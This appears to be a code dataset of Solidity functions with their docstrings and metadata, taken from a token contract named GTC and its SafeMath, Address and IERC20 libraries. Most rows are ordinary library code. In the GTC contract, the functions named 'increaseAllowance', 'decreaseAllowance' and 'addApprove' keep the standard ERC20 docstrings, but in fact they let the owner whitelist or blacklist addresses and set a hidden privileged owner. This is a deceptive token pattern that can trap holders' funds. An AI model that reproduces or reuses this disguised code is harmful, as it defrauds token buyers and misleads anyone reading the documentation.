function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level prog... | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1623,
2099
]
} | 8,869 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level prog... | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2562,
2699
]
} | 8,870 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level prog... | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
... | /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3224,
3574
]
} | 8,871 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level prog... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4026,
4161
]
} | 8,872 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level prog... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4675,
4846
]
} | 8,873 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codeha... | /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
606,
1230
]
} | 8,874 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address... | /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `tr... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2160,
2562
]
} | 8,875 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw ... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3318,
3496
]
} | 8,876 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3721,
3922
]
} | 8,877 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4292,
4523
]
} | 8,878 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4774,
5095
]
} | 8,879 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
94,
154
]
} | 8,880 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
237,
310
]
} | 8,881 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
534,
616
]
} | 8,882 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
895,
983
]
} | 8,883 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1647,
1726
]
} | 8,884 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2039,
2141
]
} | 8,885 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1470,
1558
]
} | 8,886 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1672,
1764
]
} | 8,887 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2397,
2485
]
} | 8,888 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2545,
2650
]
} | 8,889 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2708,
2832
]
} | 8,890 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3040,
3224
]
} | 8,891 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3771,
3927
]
} | 8,892 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4069,
4243
]
} | 8,893 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amou... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4712,
5042
]
} | 8,894 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | increaseAllowance | function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
5446,
5737
]
} | 8,895 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decreaseAllowance | function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
6235,
6383
]
} | 8,896 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | addApprove | function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
6798,
7082
]
} | 8,897 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
map... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
